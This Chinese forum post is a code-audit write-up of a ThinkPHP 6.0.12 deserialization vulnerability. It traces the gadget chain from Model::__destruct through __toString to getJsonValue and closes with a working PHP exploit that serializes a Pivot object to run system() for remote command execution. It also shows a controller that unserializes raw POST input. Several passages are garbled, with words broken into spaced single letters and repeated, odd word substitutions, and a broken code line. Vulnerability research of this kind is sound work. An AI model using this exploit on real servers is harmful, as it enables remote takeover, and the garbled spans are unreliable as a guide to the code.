梦见你的名字 发表于 2024-8-25 22:12:02

代码审计: ThinkPHP V6.0.12LTS反序列化毛病复现

源码下载

在我的个人免费资源内里
一、前缀知识

变乱回调:

概念:在某个特定变乱发生时,体系会调用预先定义好的函数(即回调函数)来处理该变乱。回调函数通常作为参数传递给触发变乱的函数大概注册到变乱处理器中。
工作流程:

[*] 注册回调函数:在需要监听特定变乱的地方,开发者将一个函数注册为变乱的回调函数。这通常是通过将或作为参数或来实现的。
[*] 触发变乱:当某个变乱发生时(好比按钮被点击、数据加载完成等),相应的代码或体系将触发该变乱。
[*] 调用回调函数:一旦变乱被触发,体系将调用事先注册的回调函数,并传递给回调函数。
将变乱的干系数据作为参数
[*] 实行回调函数:回调函数将被实行,它会处理接收到的变乱数据,并实行相应的逻辑、利用大概回馈。
简单来说就是你在开发中给某个使命设置的闹钟或提醒。当使命要举行某个重要步骤前,你提前安排好一段代码(回调函数)在这个时刻被实行,这样就能在合适的时候自动实行你安排的特定利用。
更多变乱回调机制参考:https://blog.csdn.net/weixin_49167174/article/details/132521365
二、代码审计查找反序列化路由

在app/controller/index.php中找到/index/test路由中存在一个反序列化函数,并且,变量参数可控制
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
      return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
      return 'hello,' . $name;
    }
    public function test()
    {
           unserialize($_POST['a']);
    }
   
}
三、利用链分析

首先在对象反序列化时自动调用。我们需要寻找切入点,在反序列化中我们重点关注__wakeup()和__destruct()析构函数。
//在对象反序列化时自动调用。
__wakeup():

//在对象被销毁时自动调用。
__destruct():

然后利用seay等代码审计工具全局搜刮这两个方法。然后审计代码寻找可以利用的点
SafeStorage.php
<?php

namespace League\Flysystem;

final class SafeStorage
{
    /**
   * @var string
   */
    private $hash;

    /**
   * @var array
   */
    protected static $safeStorage = [];

    public function __construct()
    {
      $this->hash = spl_object_hash($this);
      static::$safeStorage[$this->hash] = [];
    }

    public function storeSafely($key, $value)
    {
      static::$safeStorage[$this->hash][$key] = $value;
    }

    public function retrieveSafely($key)
    {
      if (array_key_exists($key, static::$safeStorage[$this->hash])) {
            return static::$safeStorage[$this->hash][$key];
      }
    }

    public function __destruct()
    {
      unset(static::$safeStorage[$this->hash]);
    }
}

此函数用于安全存储,没有可以利用的点
AbstractFtpAdaper.php
public function __destruct()
    {
      $this->disconnect();
    }

    /**
   * Establish a connection.
   */
    abstract public function connect();

    /**
   * Close the connection.
   */
    abstract public function disconnect();

    /**
   * Check if a connection is active.
   *
   * @return bool
   */
    abstract public function isConnected();

    protected function escapePath($path)
    {
      return str_replace(['*', '[', ']'], ['\\*', '\\[', '\\]'], $path);
    }
跟进disconnect函数
Ftp.php
    /**
   * Disconnect from the FTP server.
   */
    public function disconnect()
    {
      if ($this->hasFtpConnection()) {
            @ftp_close($this->connection);
      }

      $this->connection = null;
    }
用于毗连断开时销毁,这里也没有存在可以利用的,我们继续查看下一段
AbstractCache.php
<?php

namespace League\Flysystem\Cached\Storage;

use League\Flysystem\Cached\CacheInterface;
use League\Flysystem\Util;

abstract class AbstractCache implements CacheInterface
{
    /**
   * @var bool
   */
    protected $autosave = true;

    /**
   * @var array
   */
    protected $cache = [];

    /**
   * @var array
   */
    protected $complete = [];

    /**
   * Destructor.
   */
    public function __destruct()
    {
      if (! $this->autosave) {
            $this->save();
      }
    }

这里默认autosave参数为true,但是我们可以构造autosave为false,实行__destruct()函数,我们查看save()方法的作用,AbstractCache.php实现了CacheInterface.php接口模板,但是没有详细定义实际代码,不存在利用
继续分析下一段代码
Model.php
    /**
   * 析构方法
   * @access public
   */
    public function __destruct()
    {
      if ($this->lazySave) {
            $this->save();
      }
    }
默认                                 l                         a                         z                         y                         S                         a                         v                         e                         =                         =                         f                         a                         l                         s                         e                         ;                         ,想要实行                         s                         a                         v                         e                         (                         )                         需要将                              lazySave == false;,想要实行save()需要将                  lazySave==false;,想要实行save()需要将lazySave = true;
追踪实现的save()函数
    /**
   * 保存当前数据对象
   * @access public
   * @param array$data   数据
   * @param string $sequence 自增序列名
   * @return bool
   */
    public function save(array $data = [], string $sequence = null): bool
    {
      // 数据对象赋值
      $this->setAttrs($data);

      if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
      }

      $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

      if (false === $result) {
            return false;
      }

      // 写入回调
      $this->trigger('AfterWrite');

      // 重新记录原始数据
      $this->origin   = $this->data;
      $this->get      = [];
      $this->lazySave = false;

      return true;
    }
关注 if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite’))。需要实行后续代码不能直接return我们需要先绕过第一个if判断
追踪isEmpty()函数
    public function isEmpty(): bool
    {
      return empty($this->data);
    }
条件1:需要满意
$this->isEmpty()==false
$this->data != null;
追踪trigger()函数
    protected function trigger(string $event): bool
    {
      if (!$this->withEvent) {
            return true;
      }

      $call = 'on' . Str::studly($event);

      try {
            if (method_exists(static::class, $call)) {
                $result = call_user_func(, $this);
            } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
                $result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
                $result = empty($result) ? true : end($result);
            } else {
                $result = true;
            }

            return false === $result ? false : true;
      } catch (ModelEventException $e) {
            return false;
      }
    }
参数$withEvent默以为true;
protected $withEvent = true;
条件2:需要满意
$this->trigger('BeforeWrite')==true
$this->withEvent==false;
然后继续回过头来分析这个条件语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
ModelEvent.php中$exists默以为false。
我们先查看
$this->updateData()
    protected function updateData(): bool
    {
      // 事件回调
      if (false === $this->trigger('BeforeUpdate')) {
            return false;
      }

      $this->checkData();

      // 获取有更新的数据
      $data = $this->getChangedData();

      if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
      }

      if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
      }

      // 检查允许字段
      $allowFields = $this->checkAllowFields();

      foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }

            foreach ($val as $key) {
                if (isset($data[$key])) {
                  unset($data[$key]);
                }
            }
      }

如果需要直接后续代码就需要先绕过前面两个判断条件
$this->trigger('BeforeUpdate')==true
$data!=null

第一个判断条件:
      if (false === $this->trigger('BeforeUpdate')) {
            return false;
      }
      
    protected function trigger(string $event): bool
    {
      if (!$this->withEvent) {
            return true;
      }

      $call = 'on' . Str::studly($event);

      try {
            if (method_exists(static::class, $call)) {
                $result = call_user_func(, $this);
            } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
                $result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
                $result = empty($result) ? true : end($result);
            } else {
                $result = true;
            }

            return false === $result ? false : true;
      } catch (ModelEventException $e) {
            return false;
      }
    }
在上面的条件中,已经满意trigger函数为true,以是我们只需要关注第二个判断条件
第二个判断条件:
      
      if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
      }
寻找$data数据的泉源
$data = $this->getChangedData();
分析getChangedData()函数的实现
在vendor/topthink/think-orm/src/model/concert/Attribute.php中只需要$data不为null就可以了
    public function getChangedData(): array
    {
      $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
            if ((empty($a) || empty($b)) && $a !== $b) {
                return 1;
            }

            return is_object($a) || $a != $b ? 1 : 0;
      });

      // 只读字段不允许更新
      foreach ($this->readonly as $key => $field) {
            if (array_key_exists($field, $data)) {
                unset($data[$field]);
            }
      }

      return $data;
    }
先分析判断语句
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
            if ((empty($a) || empty($b)) && $a !== $b) {
                return 1;
            }

            return is_object($a) || $a != $b ? 1 : 0;
      });
$force没有定义,默认实行

array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
            if ((empty($a) || empty($b)) && $a !== $b) {
                return 1;
            }

            return is_object($a) || $a != $b ? 1 : 0;
      })

array_udiff_assoc函数用于比较数组的不同
$this->force == null;
private $data = []
private $origin = []

因为
$data ==                                    o                         r                         i                         g                         i                         n                         以是                         i                         f                         (                         (                         e                         m                         p                         t                         y                         (                              origin 以是 if ((empty(                  origin以是if((empty(a) || empty($b)) && $a !==                                    b                         )                         中的                              b) 中的                  b)中的a !== $b不满意条件
实行
return is_object($a) || $a != $b ? 1 : 0;
末了$data = 0;满意之前updateData()函数中的第二个判断条件
$data!=null
回到updateData()中进入到checkAllowFields()函数
    /**
   * 检查数据是否允许写入
   * @access protected
   * @return array
   */
    protected function checkAllowFields(): array
    {
      // 检测字段
      if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $query = $this->db();
                $table = $this->table ? $this->table . $this->suffix : $query->getTable();

                $this->field = $query->getConnection()->getTableFields($table);
            }

            return $this->field;
      }

      $field = $this->field;

      if ($this->autoWriteTimestamp) {
            array_push($field, $this->createTime, $this->updateTime);
      }

      if (!empty($this->disuse)) {
            // 废弃字段
            $field = array_diff($field, $this->disuse);
      }

      return $field;
    }
我们继续跟进db()可以注意到存在一个字符串拼接利用$this->table . $this->suffix,通过字符串拼接可以进入到__toString()方法中。需要满意

默认
$this->field==null
$this->schema==null

我们先将这个函数放置一边,我们需要先全局搜刮__toString()方法,然后在子目次下的Conversion.php中找到一个__toString()方法
public function __toString()
{
      return $this->toJson();
}
函数追踪
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
      return json_encode($this->toArray(), $options);
}

进入toArray()
public function toArray(): array
    {
      $item       = [];
      $hasVisible = false;

      foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                  [$relation, $name]          = explode('.', $val);
                  $this->visible[$relation][] = $name;
                } else {
                  $this->visible[$val] = true;
                  $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
      }

      foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                  [$relation, $name]         = explode('.', $val);
                  $this->hidden[$relation][] = $name;
                } else {
                  $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
      }

      // 合并关联数据
      $data = array_merge($this->data, $this->relation);
                                //遍历data数组中的元素
      foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                  $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                  $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                  $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
             if (isset($this->mapping[$key])) {
                // 检查字段映射
                $mapName      = $this->mapping[$key];
                $item[$mapName] = $item[$key];
                unset($item[$key]);
            }
      }
第34行遍历data数组中的第一个if中没什么可利用的,如果遍历的对象为Model大概ModelCollection类中的实例的话,就进入到第一个if。我们继续查看下一个elseif中的内容
elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
追踪到getAttr()函数中(这里的                                 k                         e                         y                         为                              key为                  key为data数组的遍历的键名)
    /**
   * 获取器 获取数据对象的值
   * @access public
   * @paramstring $name 名称
   * @return mixed
   * @throws InvalidArgumentException
   */
    public function getAttr(string $name)
    {
      try {
            $relation = false;
            $value    = $this->getData($name);
      } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
      }

      return $this->getValue($name, $value, $relation);
    }
先进入到getData()
    /**
   * 获取当前对象数据 如果不存在指定字段返回false
   * @access public
   * @paramstring $name 字段名 留空获取全部
   * @return mixed
   * @throws InvalidArgumentException
   */
    public function getData(string $name = null)
    {
      if (is_null($name)) {
            return $this->data;
      }

      $fieldName = $this->getRealFieldName($name);

      if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
      } elseif (array_key_exists($fieldName, $this->relation)) {
            return $this->relation[$fieldName];
      }

      throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

我们可以注意到这一行
if (array_key_exists($fieldName, $this->data)) {
      return $this->data[$fieldName];
这里的返回数据是根据data[]数组的值决定的,data[]数组是我们可以控制的,在这之前
我们需要先进入到getRealFieldName($name)中
    /**
   * 获取实际的字段名
   * @access protected
   * @paramstring $name 字段名
   * @return string
   */
    protected function getRealFieldName(string $name): string
    {
      if ($this->convertNameToCamel || !$this->strict) {
            return Str::snake($name);
      }

      return $name;
    }

代码的作用是将传进来的字符串格式举行转换
默认
convertNameToCamel == null
stric = true
以是直接返回$name
回到getData()
以是下面这段代码的作用是返回$data数组中的传入的键名的值
if (array_key_exists($fieldName, $this->data)) {
      return $this->data[$fieldName];
再返回上一级getAttr()函数
return $this->getValue($name, $value, $relation)

相当于

return $this->getValue($name,$this->data[$key], $relation)
追踪到getValue()函数
/**
* 获取经过获取器处理后的数据对象的值
* @access protected
* @paramstring      $name 字段名称
* @parammixed       $value 字段值
* @parambool|string $relation 是否为关联属性或者关联名
* @return mixed
* @throws InvalidArgumentException
*/
protected function getValue(string $name, $value, $relation = false)
{
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);

    if (array_key_exists($fieldName, $this->get)) {
      return $this->get[$fieldName];
    }

    $method = 'get' . Str::studly($name) . 'Attr';
    if (isset($this->withAttr[$fieldName])) {
      if ($relation) {
            $value = $this->getRelationValue($relation);
      }

      if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
      } else {
            $closure = $this->withAttr[$fieldName];
            if ($closure instanceof \Closure) {
                $value = $closure($value, $this->data);
            }
      }
    } elseif (method_exists($this, $method)) {
      if ($relation) {
            $value = $this->getRelationValue($relation);
      }

      $value = $this->$method($value, $this->data);
    } elseif (isset($this->type[$fieldName])) {
      // 类型转换
      $value = $this->readTransform($value, $this->type[$fieldName]);
    } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
      $value = $this->getTimestampValue($value);
    } elseif ($relation) {
      $value = $this->getRelationValue($relation);
      // 保存关联对象值
      $this->relation[$name] = $value;
    }

    $this->get[$fieldName] = $value;

    return $value;
}
在这里绕过if判断条件需要构造                                 f                         i                         e                         l                         d                         N                         a                         m                         e                         存在于                              fieldName 存在于                  fieldName存在于this→json中,并且$this→withAttr要为数组
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
    $value = $this->getJsonValue($fieldName, $value);
   其中因为getRealFieldName($name) 中的                                        t                            h                            i                            s                            −                            >                            s                            t                            r                            i                            c                            t                            =                            =                            t                            r                            u                            e                            。以是                                  this->strict==true。以是                     this−>strict==true。以是filename ==                                       n                            a                            m                            e                            ;                                  name;                     name;value为之前的                                        t                            h                            i                            s                            →                            d                            a                            t                            a                            [                                  this→data[                     this→data
然后我们进入到getJsonValue()函数
/**
* 获取JSON字段属性值
* @access protected
* @paramstring $name属性名
* @parammixed$value JSON数据
* @return mixed
*/
protected function getJsonValue($name, $value)
{
    if (is_null($value)) {
      return $value;
    }

    foreach ($this->withAttr[$name] as $key => $closure) {
      if ($this->jsonAssoc) {
            $value[$key] = $closure($value[$key], $value);
      } else {
            $value->$key = $closure($value->$key, $value);
      }
    }

    return $value;
}
到这里我们发现有一个可以自定义函数
foreach ($this->withAttr[$name] as $key => $closure) {
    if ($this->jsonAssoc) {
      $value[$key] = $closure($value[$key], $value);
    } else {
      $value->$key = $closure($value->$key, $value);
    }
}
我们可以自定义$withAttr数组
遍历数组的值并将它赋值给$closure
foreach ($this->withAttr[$name] as $key => $closure)
                                    c                         l                         o                         s                         u                         r                         e                         是一个函数,我们可以将键值设置为危险函数,好比                         s                         y                         s                         t                         e                         m                         。键名应该与                              closure是一个函数,我们可以将键值设置为危险函数,好比system。键名应该与                  closure是一个函数,我们可以将键值设置为危险函数,好比system。键名应该与name相当。
                                    v                         a                         l                         u                         e                         为                              value为                  value为data数组的键值,在这里为函数的参数,到了这里我们整个反序列化链就竣事了,可以实行rce命令
构造exp

我们先梳理__toString()的参数传递过程
Conversion::__toString()
Conversion::toJson()
Conversion::toArray()
Attribute::getAttr()
Attribute::getData()
Attribute::getValue()
Attribute::getJsonValue()
初次出现可控参数的点在Conversion::toArray()中控制$data数据
$this->data=['whoami'=>['ls']];
然后进入到Attribute::getAttr()函数中,Attribute::getData()中的Attribute::getRealFieldName(                                 n                         a                         m                         e                         )                         中的                              name)中的                  name)中的strict默以为true,Attribute::convertNameToCamel默以为null以是getData($name) == $name;也就是等于’whoami’
然后Attribute::getValue()中对withAttr和json举行了验证
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
          }
要求’whoami’存在于json中,以是                                 t                         h                         i                         s                         −                         >                         j                         s                         o                         n                         =                                 [                            ′                                  w                         h                         o                         a                         m                                 i                            ′                                  ]                         。同时需要                         w                         i                         t                         h                         A                         t                         t                         r                         是一个数组,而且要控制键值为可实行函数的话,就需要对应的键值和’                         w                         h                         o                         a                         m                         i                         相当’,以是                              this->json=['whoami']。同时需要withAttr是一个数组,而且要控制键值为可实行函数的话,就需要对应的键值和’whoami相当’,以是                  this−>json=[′whoami′]。同时需要withAttr是一个数组,而且要控制键值为可实行函数的话,就需要对应的键值和’whoami相当’,以是this->withAttr[‘whoami’=>[‘system’]]
接下来我们梳理__destruct()函数的触发过程
Model::__destruct()
Model::updateData()
Model::checkAllowFields()
Model::db()
我们找到第一个可控参数在Model::__destruct()中需要
$this->lazySave=true;
然后需要绕过
if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
绕过isEmpty(),                                 d                         a                         t                         a                         数据不为空,                              data数据不为空,                  data数据不为空,this->trigger(‘BeforeWrite’)默以为true。
然后在下面的判断语句$result = $this->exists ? $this->updateData() :                                    t                         h                         i                         s                         −                         >                         i                         n                         s                         e                         r                         t                         D                         a                         t                         a                         (                              this->insertData(                  this−>insertData(sequence);这里我们需要进入updateData(),但是                                 t                         h                         i                         s                         −                         >                         e                         x                         i                         s                         t                         s                         默以为                         f                         a                         l                         s                         e                         ,我们需要更改                              this->exists默以为false,我们需要更改                  this−>exists默以为false,我们需要更改this->exists为true
$this->exists=true
末了进入Model::db(),实行查询语句,$this_table触发__toString()
首先Model类是一个抽象类,不能实例化,以是要想利用,得找出 Model 类的一个子类举行实例化,而且use了刚才__toString 利用过程中使用的接口Conversion和Attribute,以是关键字可以直接用
末了全局搜刮Model的子类,找到了一个Pivot子类,开始构造exp
<?php

// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
      // 需要用到的关键字
      private $lazySave = false;
      private $data = [];
      private $exists = false;
      protected $table;
      private $withAttr = [];
      protected $json = [];
      protected $jsonAssoc = false;

      // 初始化
      public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['ls']];
            $this->exists = true;
            $this->table = $obj;    // 用对象进行字符串拼接操作触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
      }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {

    }

    // 实例化
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}
末了
在撰写这篇文章的过程中,我尽力确保内容的正确和全面,但不免会有疏漏的地方。如果您发现任何错误或有任何改进发起,请不要犹豫,随时告诉我。我非常乐意接受您的宝贵发起,并会及时举行修改。
再次感谢您的阅读和支持,希望这篇文章对您有所资助!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 代码审计: ThinkPHP V6.0.12LTS反序列化毛病复现